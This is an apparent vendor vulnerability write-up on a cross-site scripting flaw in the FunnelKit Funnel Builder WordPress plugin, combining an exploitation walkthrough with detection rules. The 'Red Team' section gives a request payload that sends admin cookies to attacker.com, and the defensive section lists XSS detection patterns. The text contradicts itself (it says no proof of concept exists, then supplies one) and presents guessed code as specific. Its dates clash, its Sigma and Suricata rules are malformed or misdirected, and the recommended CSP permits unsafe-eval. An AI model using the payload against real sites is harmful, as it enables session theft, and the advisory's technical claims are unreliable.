CVE-2026-48966
Executive Summary
CVE-2026-48966 is an Unauthenticated Cross-Site Scripting (XSS) vulnerability discovered in the Funnel Builder by FunnelKit plugin for WordPress, affecting versions up to and including 3.15.0.2. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into the application, which executes in the context of an authenticated administrator's browser session. The attack vector is network-based, requires user interaction (the admin must view the malicious page), and has a CVSS v3.1 base score of 7.1 (High). The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. Given the widespread use of FunnelKit for building sales funnels on WordPress sites, this poses a significant risk to e-commerce and lead-generation websites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The affected component is funnel-builder by FunnelKit, distributed via the official WordPress plugin repository and third-party marketplaces. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch increases the risk of supply chain attacks if administrators delay updates or use outdated versions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 7.1 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must click a link or view a crafted page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: High. The combination of unauthenticated access, low complexity, and the potential for session hijacking or admin account takeover makes this a critical risk for unpatched WordPress sites.
Deep Dive & Mechanics
The vulnerability is an Unauthenticated Stored/Reflected Cross-Site Scripting (XSS) in the Funnel Builder plugin. The plugin fails to properly sanitize user-supplied input in one of its shortcodes or AJAX endpoints. An attacker can inject malicious JavaScript payloads into parameters such as funnel_id, step, or custom field values. When an administrator views the affected page (e.g., the funnel builder dashboard or a preview), the script executes in their browser.
Root Cause: The plugin uses echo or print to output user-controlled data without escaping or sanitization. Specifically, the funnel-builder plugin's class-funnel-builder.php or related template files do not apply esc_html(), esc_attr(), or wp_kses() to input that is later rendered in the admin panel.
Attack Flow:
- Attacker crafts a malicious URL or POST request containing a JavaScript payload (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the WordPress database (e.g., as a funnel name or step title).
- An administrator navigates to the FunnelKit admin page.
- The payload is rendered unsanitized, executing the attacker's script.
- The script can steal cookies, perform actions on behalf of the admin, or redirect to a phishing page.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is inferred from similar XSS vulnerabilities in WordPress plugins.
Vulnerable Code (Example):
// In funnel-builder/includes/class-funnel-builder.php
function render_funnel_title($funnel_id) {
$funnel = get_post($funnel_id);
echo "<h2>" . $funnel->post_title . "</h2>"; // Unsanitized output
}
Patched Code (Expected):
function render_funnel_title($funnel_id) {
$funnel = get_post($funnel_id);
echo "<h2>" . esc_html($funnel->post_title) . "</h2>"; // Properly escaped
}
Key Difference: The patched version uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site running FunnelKit Funnel Builder <= 3.15.0.2.
- No authentication required.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=funnel_builder_save_step). - Send a POST request with a malicious payload in a parameter like
step_title:POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=funnel_builder_save_step&funnel_id=1&step_title=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - The payload is stored in the database.
- Craft a link to the admin funnel editor page (e.g.,
/wp-admin/admin.php?page=funnel-builder&funnel_id=1). - Send the link to an authenticated admin (via email, social engineering, etc.).
- When the admin views the page, the script executes, exfiltrating their session cookie.
Alternative Payload (Reflected XSS):
GET /wp-admin/admin.php?page=funnel-builder&funnel_id=1&step=<script>alert(1)</script> HTTP/1.1
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>,onerror=, orjavascript:in parameters. - Use WAF rules to block common XSS patterns (e.g.,
<script,onload=,onerror=). - Deploy Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search WordPress database for stored XSS payloads:
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%'; SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%'; - Check for unusual admin user creation or privilege escalation.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com,evil.com). - HTTP requests containing
document.cookieorfetch(in query strings.
- Outbound connections to attacker-controlled domains (e.g.,
- Host IOCs:
- Unexpected JavaScript code in WordPress database tables (
wp_posts,wp_postmeta). - Modified or new admin users.
- Presence of
eval()oratob()in page source.
- Unexpected JavaScript code in WordPress database tables (
- File IOCs:
- Suspicious files in
/wp-content/uploads/or/wp-content/plugins/funnel-builder/. - Modified plugin files (e.g.,
class-funnel-builder.php).
- Suspicious files in
Detection Engineering
YARA Rule
rule CVE_2026_48966_XSS_Payload {
meta:
description = "Detects XSS payloads targeting FunnelKit Funnel Builder"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-48966"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:\s*/is
$xss4 = /onload\s*=\s*["']?[^"'\s>]+/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: FunnelKit Funnel Builder XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against FunnelKit Funnel Builder plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET' or 'POST'
c-uri|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-admin/admin.php?page=funnel-builder'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-48966 FunnelKit Funnel Builder XSS Attempt";
flow:to_server,established;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=funnel_builder_save_step"; http_client_body;
pcre:"/(<script|onerror=|javascript:|onload=)/i";
sid:1000001;
rev:1;
reference:cve,2026-48966;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Restrict admin access to trusted IP addresses only.
- Enable Content Security Policy (CSP) headers:
(Note:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none';'unsafe-inline'may be required for WordPress admin, but consider removing it if possible.)
Long-Term Fix:
- Apply the vendor patch once released.
- Update to the latest version of FunnelKit Funnel Builder.
- Conduct a security audit of all WordPress plugins.
Workaround (if plugin cannot be disabled):
- Manually patch the vulnerable file by adding
esc_html()orwp_kses_post()to all user-controlled outputs. - Monitor logs for exploitation attempts.
Valters IT
Securing Digital Frontiers